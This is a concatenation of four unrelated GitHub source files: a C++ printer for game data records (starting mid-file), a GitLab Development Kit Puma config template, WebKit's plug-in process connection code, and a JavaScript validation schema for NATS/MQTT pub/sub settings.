(!mData.mBoltSound.empty()) std::cout << " Bolt Sound: " << mData.mBoltSound << std::endl; if (!mData.mHit.empty()) std::cout << " Hit Static: " << mData.mHit << std::endl; if (!mData.mHitSound.empty()) std::cout << " Hit Sound: " << mData.mHitSound << std::endl; if (!mData.mArea.empty()) std::cout << " Area Static: " << mData.mArea << std::endl; if (!mData.mAreaSound.empty()) std::cout << " Area Sound: " << mData.mAreaSound << std::endl; std::cout << " School: " << schoolLabel(mData.mData.mSchool) << " (" << mData.mData.mSchool << ")" << std::endl; std::cout << " Base Cost: " << mData.mData.mBaseCost << std::endl; std::cout << " Unknown 1: " << mData.mData.mUnknown1 << std::endl; std::cout << " Speed: " << mData.mData.mSpeed << std::endl; std::cout << " Unknown 2: " << mData.mData.mUnknown2 << std::endl; std::cout << " RGB Color: " << "(" << mData.mData.mRed << "," << mData.mData.mGreen << "," << mData.mData.mBlue << ")" << std::endl; } template<> void Record<ESM::Miscellaneous>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Is Key: " << mData.mData.mIsKey << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::NPC>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Animation: " << mData.mModel << std::endl; std::cout << " Hair Model: " << mData.mHair << std::endl; std::cout << " Head Model: " << mData.mHead << std::endl; std::cout << " Race: " << mData.mRace << std::endl; std::cout << " Class: " << mData.mClass << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; if (!mData.mFaction.empty()) std::cout << " Faction: " << mData.mFaction << std::endl; std::cout << " Flags: " << npcFlags((int)mData.mFlags) << std::endl; if (mData.mBloodType != 0) std::cout << " Blood Type: " << mData.mBloodType+1 << std::endl; if (mData.mNpdtType == ESM::NPC::NPC_WITH_AUTOCALCULATED_STATS) { std::cout << " Level: " << mData.mNpdt.mLevel << std::endl; std::cout << " Reputation: " << (int)mData.mNpdt.mReputation << std::endl; std::cout << " Disposition: " << (int)mData.mNpdt.mDisposition << std::endl; std::cout << " Rank: " << (int)mData.mNpdt.mRank << std::endl; std::cout << " Gold: " << mData.mNpdt.mGold << std::endl; } else { std::cout << " Level: " << mData.mNpdt.mLevel << std::endl; std::cout << " Reputation: " << (int)mData.mNpdt.mReputation << std::endl; std::cout << " Disposition: " << (int)mData.mNpdt.mDisposition << std::endl; std::cout << " Rank: " << (int)mData.mNpdt.mRank << std::endl; std::cout << " Attributes:" << std::endl; std::cout << " Strength: " << (int)mData.mNpdt.mStrength << std::endl; std::cout << " Intelligence: " << (int)mData.mNpdt.mIntelligence << std::endl; std::cout << " Willpower: " << (int)mData.mNpdt.mWillpower << std::endl; std::cout << " Agility: " << (int)mData.mNpdt.mAgility << std::endl; std::cout << " Speed: " << (int)mData.mNpdt.mSpeed << std::endl; std::cout << " Endurance: " << (int)mData.mNpdt.mEndurance << std::endl; std::cout << " Personality: " << (int)mData.mNpdt.mPersonality << std::endl; std::cout << " Luck: " << (int)mData.mNpdt.mLuck << std::endl; std::cout << " Skills:" << std::endl; for (int i = 0; i != ESM::Skill::Length; i++) std::cout << " " << skillLabel(i) << ": " << (int)(mData.mNpdt.mSkills[i]) << std::endl; std::cout << " Health: " << mData.mNpdt.mHealth << std::endl; std::cout << " Magicka: " << mData.mNpdt.mMana << std::endl; std::cout << " Fatigue: " << mData.mNpdt.mFatigue << std::endl; std::cout << " Gold: " << mData.mNpdt.mGold << std::endl; } for (const ESM::ContItem &item : mData.mInventory.mList) std::cout << " Inventory: Count: " << Misc::StringUtils::format("%4d", item.mCount) << " Item: " << item.mItem << std::endl; for (const std::string &spell : mData.mSpells.mList) std::cout << " Spell: " << spell << std::endl; printTransport(mData.getTransport()); std::cout << " Artificial Intelligence: " << std::endl; std::cout << " AI Hello:" << (int)mData.mAiData.mHello << std::endl; std::cout << " AI Fight:" << (int)mData.mAiData.mFight << std::endl; std::cout << " AI Flee:" << (int)mData.mAiData.mFlee << std::endl; std::cout << " AI Alarm:" << (int)mData.mAiData.mAlarm << std::endl; std::cout << " AI U1:" << (int)mData.mAiData.mU1 << std::endl; std::cout << " AI U2:" << (int)mData.mAiData.mU2 << std::endl; std::cout << " AI U3:" << (int)mData.mAiData.mU3 << std::endl; std::cout << " AI Services:" << Misc::StringUtils::format("0x%08X", mData.mAiData.mServices) << std::endl; for (const ESM::AIPackage &package : mData.mAiPackage.mList) printAIPackage(package); std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Pathgrid>::print() { std::cout << " Cell: " << mData.mCell << std::endl; std::cout << " Coordinates: (" << mData.mData.mX << "," << mData.mData.mY << ")" << std::endl; std::cout << " Unknown S1: " << mData.mData.mS1 << std::endl; if ((unsigned int)mData.mData.mS2 != mData.mPoints.size()) std::cout << " Reported Point Count: " << mData.mData.mS2 << std::endl; std::cout << " Point Count: " << mData.mPoints.size() << std::endl; std::cout << " Edge Count: " << mData.mEdges.size() << std::endl; int i = 0; for (const ESM::Pathgrid::Point &point : mData.mPoints) { std::cout << " Point[" << i << "]:" << std::endl; std::cout << " Coordinates: (" << point.mX << "," << point.mY << "," << point.mZ << ")" << std::endl; std::cout << " Auto-Generated: " << (int)point.mAutogenerated << std::endl; std::cout << " Connections: " << (int)point.mConnectionNum << std::endl; std::cout << " Unknown: " << point.mUnknown << std::endl; i++; } i = 0; for (const ESM::Pathgrid::Edge &edge : mData.mEdges) { std::cout << " Edge[" << i << "]: " << edge.mV0 << " -> " << edge.mV1 << std::endl; if (edge.mV0 >= mData.mData.mS2 || edge.mV1 >= mData.mData.mS2) std::cout << " BAD POINT IN EDGE!" << std::endl; i++; } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Race>::print() { static const char *sAttributeNames[8] = { "Strength", "Intelligence", "Willpower", "Agility", "Speed", "Endurance", "Personality", "Luck" }; std::cout << " Name: " << mData.mName << std::endl; std::cout << " Description: " << mData.mDescription << std::endl; std::cout << " Flags: " << raceFlags(mData.mData.mFlags) << std::endl; for (int i=0; i<2; ++i) { bool male = i==0; std::cout << (male ? " Male:" : " Female:") << std::endl; for (int j=0; j<8; ++j) std::cout << " " << sAttributeNames[j] << ": " << mData.mData.mAttributeValues[j].getValue (male) << std::endl; std::cout << " Height: " << mData.mData.mHeight.getValue (male) << std::endl; std::cout << " Weight: " << mData.mData.mWeight.getValue (male) << std::endl; } for (int i = 0; i != 7; i++) // Not all races have 7 skills. if (mData.mData.mBonus[i].mSkill != -1) std::cout << " Skill: " << skillLabel(mData.mData.mBonus[i].mSkill) << " (" << mData.mData.mBonus[i].mSkill << ") = " << mData.mData.mBonus[i].mBonus << std::endl; for (const std::string &power : mData.mPowers.mList) std::cout << " Power: " << power << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Region>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Weather:" << std::endl; std::cout << " Clear: " << (int)mData.mData.mClear << std::endl; std::cout << " Cloudy: " << (int)mData.mData.mCloudy << std::endl; std::cout << " Foggy: " << (int)mData.mData.mFoggy << std::endl; std::cout << " Overcast: " << (int)mData.mData.mOvercast << std::endl; std::cout << " Rain: " << (int)mData.mData.mOvercast << std::endl; std::cout << " Thunder: " << (int)mData.mData.mThunder << std::endl; std::cout << " Ash: " << (int)mData.mData.mAsh << std::endl; std::cout << " Blight: " << (int)mData.mData.mBlight << std::endl; std::cout << " UnknownA: " << (int)mData.mData.mA << std::endl; std::cout << " UnknownB: " << (int)mData.mData.mB << std::endl; std::cout << " Map Color: " << mData.mMapColor << std::endl; if (!mData.mSleepList.empty()) std::cout << " Sleep List: " << mData.mSleepList << std::endl; for (const ESM::Region::SoundRef &soundref : mData.mSoundList) std::cout << " Sound: " << (int)soundref.mChance << " = " << soundref.mSound << std::endl; } template<> void Record<ESM::Script>::print() { std::cout << " Name: " << mData.mId << std::endl; std::cout << " Num Shorts: " << mData.mData.mNumShorts << std::endl; std::cout << " Num Longs: " << mData.mData.mNumLongs << std::endl; std::cout << " Num Floats: " << mData.mData.mNumFloats << std::endl; std::cout << " Script Data Size: " << mData.mData.mScriptDataSize << std::endl; std::cout << " Table Size: " << mData.mData.mStringTableSize << std::endl; for (const std::string &variable : mData.mVarNames) std::cout << " Variable: " << variable << std::endl; std::cout << " ByteCode: "; for (const unsigned char &byte : mData.mScriptData) std::cout << Misc::StringUtils::format("%02X", (int)(byte)); std::cout << std::endl; if (mPrintPlain) { std::cout << " Script:" << std::endl; std::cout << "START--------------------------------------" << std::endl; std::cout << mData.mScriptText << std::endl; std::cout << "END----------------------------------------" << std::endl; } else { std::cout << " Script: [skipped]" << std::endl; } std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Skill>::print() { std::cout << " ID: " << skillLabel(mData.mIndex) << " (" << mData.mIndex << ")" << std::endl; std::cout << " Description: " << mData.mDescription << std::endl; std::cout << " Governing Attribute: " << attributeLabel(mData.mData.mAttribute) << " (" << mData.mData.mAttribute << ")" << std::endl; std::cout << " Specialization: " << specializationLabel(mData.mData.mSpecialization) << " (" << mData.mData.mSpecialization << ")" << std::endl; for (int i = 0; i != 4; i++) std::cout << " UseValue[" << i << "]:" << mData.mData.mUseValue[i] << std::endl; } template<> void Record<ESM::SoundGenerator>::print() { if (!mData.mCreature.empty()) std::cout << " Creature: " << mData.mCreature << std::endl; std::cout << " Sound: " << mData.mSound << std::endl; std::cout << " Type: " << soundTypeLabel(mData.mType) << " (" << mData.mType << ")" << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Sound>::print() { std::cout << " Sound: " << mData.mSound << std::endl; std::cout << " Volume: " << (int)mData.mData.mVolume << std::endl; if (mData.mData.mMinRange != 0 && mData.mData.mMaxRange != 0) std::cout << " Range: " << (int)mData.mData.mMinRange << " - " << (int)mData.mData.mMaxRange << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Spell>::print() { std::cout << " Name: " << mData.mName << std::endl; std::cout << " Type: " << spellTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Flags: " << spellFlags(mData.mData.mFlags) << std::endl; std::cout << " Cost: " << mData.mData.mCost << std::endl; printEffectList(mData.mEffects); std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::StartScript>::print() { std::cout << " Start Script: " << mData.mId << std::endl; std::cout << " Start Data: " << mData.mData << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> void Record<ESM::Static>::print() { std::cout << " Model: " << mData.mModel << std::endl; } template<> void Record<ESM::Weapon>::print() { // No names on VFX bolts if (!mData.mName.empty()) std::cout << " Name: " << mData.mName << std::endl; std::cout << " Model: " << mData.mModel << std::endl; // No icons on VFX bolts or magic bolts if (!mData.mIcon.empty()) std::cout << " Icon: " << mData.mIcon << std::endl; if (!mData.mScript.empty()) std::cout << " Script: " << mData.mScript << std::endl; if (!mData.mEnchant.empty()) std::cout << " Enchantment: " << mData.mEnchant << std::endl; std::cout << " Type: " << weaponTypeLabel(mData.mData.mType) << " (" << mData.mData.mType << ")" << std::endl; std::cout << " Flags: " << weaponFlags(mData.mData.mFlags) << std::endl; std::cout << " Weight: " << mData.mData.mWeight << std::endl; std::cout << " Value: " << mData.mData.mValue << std::endl; std::cout << " Health: " << mData.mData.mHealth << std::endl; std::cout << " Speed: " << mData.mData.mSpeed << std::endl; std::cout << " Reach: " << mData.mData.mReach << std::endl; std::cout << " Enchantment Points: " << mData.mData.mEnchant << std::endl; if (mData.mData.mChop[0] != 0 && mData.mData.mChop[1] != 0) std::cout << " Chop: " << (int)mData.mData.mChop[0] << "-" << (int)mData.mData.mChop[1] << std::endl; if (mData.mData.mSlash[0] != 0 && mData.mData.mSlash[1] != 0) std::cout << " Slash: " << (int)mData.mData.mSlash[0] << "-" << (int)mData.mData.mSlash[1] << std::endl; if (mData.mData.mThrust[0] != 0 && mData.mData.mThrust[1] != 0) std::cout << " Thrust: " << (int)mData.mData.mThrust[0] << "-" << (int)mData.mData.mThrust[1] << std::endl; std::cout << " Deleted: " << mIsDeleted << std::endl; } template<> std::string Record<ESM::Cell>::getId() const { return mData.mName; } template<> std::string Record<ESM::Land>::getId() const { return std::string(); // No ID for Land record } template<> std::string Record<ESM::MagicEffect>::getId() const { return std::string(); // No ID for MagicEffect record } template<> std::string Record<ESM::Pathgrid>::getId() const { return std::string(); // No ID for Pathgrid record } template<> std::string Record<ESM::Skill>::getId() const { return std::string(); // No ID for Skill record } } // end namespace
{ "pile_set_name": "Github" }
# frozen_string_literal: true # ----------------------------------------------------------------------- # This file is used by the GDK to generate a default config/puma.rb file # Note that `/home/git` will be substituted for the actual GDK root # directory when this file is generated # ----------------------------------------------------------------------- # Load "path" as a rackup file. # # The default is "config.ru". # rackup 'config.ru' pidfile '/home/git/gitlab/tmp/pids/puma.pid' state_path '/home/git/gitlab/tmp/pids/puma.state' ## Uncomment the lines if you would like to write puma stdout & stderr streams ## to a different location than rails logs. ## When using GitLab Development Kit, by default, these logs will be consumed ## by runit and can be accessed using `gdk tail rails-web` # stdout_redirect '/home/git/gitlab/log/puma.stdout.log', # '/home/git/gitlab/log/puma.stderr.log', # true # Configure "min" to be the minimum number of threads to use to answer # requests and "max" the maximum. # # The default is "0, 16". # threads 1, 4 # By default, workers accept all requests and queue them to pass to handlers. # When false, workers accept the number of simultaneous requests configured. # # Queueing requests generally improves performance, but can cause deadlocks if # the app is waiting on a request to itself. See https://github.com/puma/puma/issues/612 # # When set to false this may require a reverse proxy to handle slow clients and # queue requests before they reach puma. This is due to disabling HTTP keepalive queue_requests false # Bind the server to "url". "tcp://", "unix://" and "ssl://" are the only # accepted protocols. bind 'unix:///home/git/gitlab.socket' workers 2 require_relative "/home/git/gitlab/lib/gitlab/cluster/lifecycle_events" on_restart do # Signal application hooks that we're about to restart Gitlab::Cluster::LifecycleEvents.do_before_master_restart end before_fork do # Signal to the puma killer Gitlab::Cluster::PumaWorkerKillerInitializer.start @config.options unless ENV['DISABLE_PUMA_WORKER_KILLER'] # Signal application hooks that we're about to fork Gitlab::Cluster::LifecycleEvents.do_before_fork end Gitlab::Cluster::LifecycleEvents.set_puma_options @config.options on_worker_boot do # Signal application hooks of worker start Gitlab::Cluster::LifecycleEvents.do_worker_start end # Preload the application before starting the workers; this conflicts with # phased restart feature. (off by default) preload_app! tag 'gitlab-puma-worker' # Verifies that all workers have checked in to the master process within # the given timeout. If not the worker process will be restarted. Default # value is 60 seconds. # worker_timeout 60 # Use json formatter require_relative "/home/git/gitlab/lib/gitlab/puma_logging/json_formatter" json_formatter = Gitlab::PumaLogging::JSONFormatter.new log_formatter do |str| json_formatter.call(str) end
{ "pile_set_name": "Github" }
/* * Copyright (C) 2010 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include "WebProcessConnection.h" #if ENABLE(NETSCAPE_PLUGIN_API) #include "ActivityAssertion.h" #include "ArgumentCoders.h" #include "ConnectionStack.h" #include "NPObjectMessageReceiverMessages.h" #include "NPRemoteObjectMap.h" #include "PluginControllerProxy.h" #include "PluginCreationParameters.h" #include "PluginProcess.h" #include "PluginProcessConnectionMessages.h" #include "PluginProxyMessages.h" #include "WebProcessConnectionMessages.h" #include <unistd.h> #include <wtf/RunLoop.h> using namespace WebCore; namespace WebKit { PassRefPtr<WebProcessConnection> WebProcessConnection::create(IPC::Connection::Identifier connectionIdentifier) { return adoptRef(new WebProcessConnection(connectionIdentifier)); } WebProcessConnection::~WebProcessConnection() { ASSERT(m_pluginControllers.isEmpty()); ASSERT(!m_npRemoteObjectMap); ASSERT(!m_connection); } WebProcessConnection::WebProcessConnection(IPC::Connection::Identifier connectionIdentifier) { m_connection = IPC::Connection::createServerConnection(connectionIdentifier, this, RunLoop::main()); m_npRemoteObjectMap = NPRemoteObjectMap::create(m_connection.get()); m_connection->setOnlySendMessagesAsDispatchWhenWaitingForSyncReplyWhenProcessingSuchAMessage(true); m_connection->open(); } void WebProcessConnection::addPluginControllerProxy(std::unique_ptr<PluginControllerProxy> pluginController) { uint64_t pluginInstanceID = pluginController->pluginInstanceID(); ASSERT(!m_pluginControllers.contains(pluginInstanceID)); m_pluginControllers.set(pluginInstanceID, std::move(pluginController)); } void WebProcessConnection::destroyPluginControllerProxy(PluginControllerProxy* pluginController) { // This may end up calling removePluginControllerProxy which ends up deleting // the WebProcessConnection object if this was the last object. pluginController->destroy(); } void WebProcessConnection::removePluginControllerProxy(PluginControllerProxy* pluginController, Plugin* plugin) { { ASSERT(m_pluginControllers.contains(pluginController->pluginInstanceID())); std::unique_ptr<PluginControllerProxy> pluginControllerUniquePtr = m_pluginControllers.take(pluginController->pluginInstanceID()); ASSERT(pluginControllerUniquePtr.get() == pluginController); } // Invalidate all objects related to this plug-in. if (plugin) m_npRemoteObjectMap->pluginDestroyed(plugin); if (!m_pluginControllers.isEmpty()) return; m_npRemoteObjectMap = nullptr; // The last plug-in went away, close this connection. m_connection->invalidate(); m_connection = nullptr; // This will cause us to be deleted. PluginProcess::shared().removeWebProcessConnection(this); } void WebProcessConnection::setGlobalException(const String& exceptionString) { IPC::Connection* connection = ConnectionStack::shared().current(); if (!connection) return; connection->sendSync(Messages::PluginProcessConnection::SetException(exceptionString), Messages::PluginProcessConnection::SetException::Reply(), 0); } void WebProcessConnection::didReceiveMessage(IPC::Connection* connection, IPC::MessageDecoder& decoder) { ConnectionStack::CurrentConnectionPusher currentConnection(ConnectionStack::shared(), connection); if (decoder.messageReceiverName() == Messages::WebProcessConnection::messageReceiverName()) { didReceiveWebProcessConnectionMessage(connection, decoder); return; } if (!decoder.destinationID()) { ASSERT_NOT_REACHED(); return; } PluginControllerProxy* pluginControllerProxy = m_pluginControllers.get(decoder.destinationID()); if (!pluginControllerProxy) return; PluginController::PluginDestructionProtector protector(pluginControllerProxy->asPluginController()); pluginControllerProxy->didReceivePluginControllerProxyMessage(connection, decoder); } void WebProcessConnection::didReceiveSyncMessage(IPC::Connection* connection, IPC::MessageDecoder& decoder, std::unique_ptr<IPC::MessageEncoder>& replyEncoder) { // Force all timers to run at full speed when processing a synchronous message ActivityAssertion activityAssertion(PluginProcess::shared()); ConnectionStack::CurrentConnectionPusher currentConnection(ConnectionStack::shared(), connection); uint64_t destinationID = decoder.destinationID(); if (!destinationID) { didReceiveSyncWebProcessConnectionMessage(connection, decoder, replyEncoder); return; } if (decoder.messageReceiverName() == Messages::NPObjectMessageReceiver::messageReceiverName()) { m_npRemoteObjectMap->didReceiveSyncMessage(connection, decoder, replyEncoder); return; } PluginControllerProxy* pluginControllerProxy = m_pluginControllers.get(decoder.destinationID()); if (!pluginControllerProxy) return; PluginController::PluginDestructionProtector protector(pluginControllerProxy->asPluginController()); pluginControllerProxy->didReceiveSyncPluginControllerProxyMessage(connection, decoder, replyEncoder); } void WebProcessConnection::didClose(IPC::Connection*) { // The web process crashed. Destroy all the plug-in controllers. Destroying the last plug-in controller // will cause the web process connection itself to be destroyed. Vector<PluginControllerProxy*> pluginControllers; for (auto it = m_pluginControllers.values().begin(), end = m_pluginControllers.values().end(); it != end; ++it) pluginControllers.append(it->get()); for (size_t i = 0; i < pluginControllers.size(); ++i) destroyPluginControllerProxy(pluginControllers[i]); } void WebProcessConnection::destroyPlugin(uint64_t pluginInstanceID, bool asynchronousCreationIncomplete) { // Ensure we don't clamp any timers during destruction ActivityAssertion activityAssertion(PluginProcess::shared()); PluginControllerProxy* pluginControllerProxy = m_pluginControllers.get(pluginInstanceID); // If there is no PluginControllerProxy then this plug-in doesn't exist yet and we probably have nothing to do. if (!pluginControllerProxy) { // If the plugin we're supposed to destroy was requested asynchronously and doesn't exist yet, // we need to flag the instance ID so it is not created later. if (asynchronousCreationIncomplete) m_asynchronousInstanceIDsToIgnore.add(pluginInstanceID); return; } destroyPluginControllerProxy(pluginControllerProxy); } void WebProcessConnection::didReceiveInvalidMessage(IPC::Connection*, IPC::StringReference, IPC::StringReference) { // FIXME: Implement. } void WebProcessConnection::createPluginInternal(const PluginCreationParameters& creationParameters, bool& result, bool& wantsWheelEvents, uint32_t& remoteLayerClientID) { auto pluginControllerProxy = std::make_unique<PluginControllerProxy>(this, creationParameters); PluginControllerProxy* pluginControllerProxyPtr = pluginControllerProxy.get(); // Make sure to add the proxy to the map before initializing it, since the plug-in might call out to the web process from // its NPP_New function. This will hand over ownership of the proxy to the web process connection. addPluginControllerProxy(std::move(pluginControllerProxy)); // Now try to initialize the plug-in. result = pluginControllerProxyPtr->initialize(creationParameters); if (!result) return; wantsWheelEvents = pluginControllerProxyPtr->wantsWheelEvents(); #if PLATFORM(MAC) remoteLayerClientID = pluginControllerProxyPtr->remoteLayerClientID(); #else UNUSED_PARAM(remoteLayerClientID); #endif } void WebProcessConnection::createPlugin(const PluginCreationParameters& creationParameters, PassRefPtr<Messages::WebProcessConnection::CreatePlugin::DelayedReply> reply) { // Ensure we don't clamp any timers during initialization ActivityAssertion activityAssertion(PluginProcess::shared()); PluginControllerProxy* pluginControllerProxy = m_pluginControllers.get(creationParameters.pluginInstanceID); // The controller proxy for the plug-in we're being asked to create synchronously might already exist if it was requested asynchronously before. if (pluginControllerProxy) { // It might still be in the middle of initialization in which case we have to let that initialization complete and respond to this message later. if (pluginControllerProxy->isInitializing()) { pluginControllerProxy->setInitializationReply(reply); return; } // If its initialization is complete then we need to respond to this message with the correct information about its creation. #if PLATFORM(MAC) reply->send(true, pluginControllerProxy->wantsWheelEvents(), pluginControllerProxy->remoteLayerClientID()); #else reply->send(true, pluginControllerProxy->wantsWheelEvents(), 0); #endif return; } // The plugin we're supposed to create might have been requested asynchronously before. // In that case we need to create it synchronously now but flag the instance ID so we don't recreate it asynchronously later. if (creationParameters.asynchronousCreationIncomplete) m_asynchronousInstanceIDsToIgnore.add(creationParameters.pluginInstanceID); bool result = false; bool wantsWheelEvents = false; uint32_t remoteLayerClientID = 0; createPluginInternal(creationParameters, result, wantsWheelEvents, remoteLayerClientID); reply->send(result, wantsWheelEvents, remoteLayerClientID); } void WebProcessConnection::createPluginAsynchronously(const PluginCreationParameters& creationParameters) { // In the time since this plugin was requested asynchronously we might have created it synchronously or destroyed it. // In either of those cases we need to ignore this creation request. if (m_asynchronousInstanceIDsToIgnore.contains(creationParameters.pluginInstanceID)) { m_asynchronousInstanceIDsToIgnore.remove(creationParameters.pluginInstanceID); return; } // This version of CreatePlugin is only used by plug-ins that are known to behave when started asynchronously. bool result = false; bool wantsWheelEvents = false; uint32_t remoteLayerClientID = 0; if (creationParameters.artificialPluginInitializationDelayEnabled) { unsigned artificialPluginInitializationDelay = 5; sleep(artificialPluginInitializationDelay); } // Since plug-in creation can often message to the WebProcess synchronously (with NPP_Evaluate for example) // we need to make sure that the web process will handle the plug-in process's synchronous messages, // even if the web process is waiting on a synchronous reply itself. // Normally the plug-in process doesn't give its synchronous messages the special flag to allow for that. // We can force it to do so by incrementing the "DispatchMessageMarkedDispatchWhenWaitingForSyncReply" count. m_connection->incrementDispatchMessageMarkedDispatchWhenWaitingForSyncReplyCount(); // The call to createPluginInternal can potentially cause the plug-in to be destroyed and // thus free the WebProcessConnection object. Protect it. Ref<WebProcessConnection> protect(*this); createPluginInternal(creationParameters, result, wantsWheelEvents, remoteLayerClientID); if (!m_connection) { // createPluginInternal caused the connection to go away. return; } m_connection->decrementDispatchMessageMarkedDispatchWhenWaitingForSyncReplyCount(); // If someone asked for this plug-in synchronously while it was in the middle of being created then we need perform the // synchronous reply instead of sending the asynchronous reply. PluginControllerProxy* pluginControllerProxy = m_pluginControllers.get(creationParameters.pluginInstanceID); ASSERT(pluginControllerProxy); if (RefPtr<Messages::WebProcessConnection::CreatePlugin::DelayedReply> delayedSyncReply = pluginControllerProxy->takeInitializationReply()) { delayedSyncReply->send(result, wantsWheelEvents, remoteLayerClientID); return; } // Otherwise, send the asynchronous results now. if (!result) { m_connection->sendSync(Messages::PluginProxy::DidFailToCreatePlugin(), Messages::PluginProxy::DidFailToCreatePlugin::Reply(), creationParameters.pluginInstanceID); return; } m_connection->sendSync(Messages::PluginProxy::DidCreatePlugin(wantsWheelEvents, remoteLayerClientID), Messages::PluginProxy::DidCreatePlugin::Reply(), creationParameters.pluginInstanceID); } } // namespace WebKit #endif // ENABLE(NETSCAPE_PLUGIN_API)
{ "pile_set_name": "Github" }
// Copyright © 2019 The Things Network Foundation, The Things Industries B.V. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import Yup from '@ttn-lw/lib/yup' import sharedMessages from '@ttn-lw/lib/shared-messages' import { id as idRegexp, address as addressRegexp, mqttUrl as mqttUrlRegexp, mqttPassword as mqttPasswordRegexp, noSpaces as noSpacesRegexp, } from '@console/lib/regexp' import { qosLevels } from './qos-options' import providers from './providers' export default Yup.object().shape({ pub_sub_id: Yup.string() .matches(idRegexp, Yup.passValues(sharedMessages.validateIdFormat)) .min(2, Yup.passValues(sharedMessages.validateTooShort)) .max(25, Yup.passValues(sharedMessages.validateTooLong)) .required(sharedMessages.validateRequired), format: Yup.string().required(sharedMessages.validateRequired), base_topic: Yup.string(), nats: Yup.object().when('_provider', { is: providers.NATS, then: Yup.object().shape({ _use_credentials: Yup.boolean(), username: Yup.string().when('_use_credentials', { is: true, then: Yup.string() .matches(idRegexp, Yup.passValues(sharedMessages.validateIdFormat)) .min(2, Yup.passValues(sharedMessages.validateTooShort)) .max(100, Yup.passValues(sharedMessages.validateTooLong)) .required(sharedMessages.validateRequired), otherwise: Yup.string().strip(), }), password: Yup.string().when('_use_credentials', { is: true, then: Yup.string() .min(2, Yup.passValues(sharedMessages.validateTooShort)) .max(100, Yup.passValues(sharedMessages.validateTooLong)) .required(sharedMessages.validateRequired), otherwise: Yup.string().strip(), }), address: Yup.string() .matches(addressRegexp, Yup.passValues(sharedMessages.validateAddressFormat)) .required(sharedMessages.validateRequired), port: Yup.number() .integer(sharedMessages.validateInt32) .positive(sharedMessages.validateInt32) .required(sharedMessages.validateRequired), secure: Yup.boolean(), }), otherwise: Yup.object().strip(), }), mqtt: Yup.object().when('_provider', { is: providers.MQTT, then: Yup.object().shape({ _use_credentials: Yup.boolean(), server_url: Yup.string() .matches(mqttUrlRegexp, Yup.passValues(sharedMessages.validateUrl)) .required(sharedMessages.validateRequired), client_id: Yup.string() .matches(noSpacesRegexp, Yup.passValues(sharedMessages.validateNoSpaces)) .min(2, Yup.passValues(sharedMessages.validateTooShort)) .max(23, Yup.passValues(sharedMessages.validateTooLong)) .required(sharedMessages.validateRequired), username: Yup.string().when('_use_credentials', { is: true, then: Yup.string() .matches(noSpacesRegexp, Yup.passValues(sharedMessages.validateNoSpaces)) .min(2, Yup.passValues(sharedMessages.validateTooShort)) .max(100, Yup.passValues(sharedMessages.validateTooLong)) .required(sharedMessages.validateRequired), otherwise: Yup.string().strip(), }), password: Yup.string().when('_use_credentials', { is: true, then: Yup.string().matches( mqttPasswordRegexp, Yup.passValues(sharedMessages.validateMqttPassword), ), otherwise: Yup.string().strip(), }), subscribe_qos: Yup.string() .oneOf(qosLevels, sharedMessages.validateRequired) .required(sharedMessages.validateRequired), publish_qos: Yup.string() .oneOf(qosLevels, sharedMessages.validateRequired) .required(sharedMessages.validateRequired), use_tls: Yup.boolean(), tls_ca: Yup.string().when('use_tls', { is: true, then: Yup.string().required(sharedMessages.validateRequired), otherwise: Yup.string().strip(), }), tls_client_cert: Yup.string().when('use_tls', { is: true, then: Yup.string().required(sharedMessages.validateRequired), otherwise: Yup.string().strip(), }), tls_client_key: Yup.string().when('use_tls', { is: true, then: Yup.string().required(sharedMessages.validateRequired), otherwise: Yup.string().strip(), }), }), otherwise: Yup.object().strip(), }), })
{ "pile_set_name": "Github" }
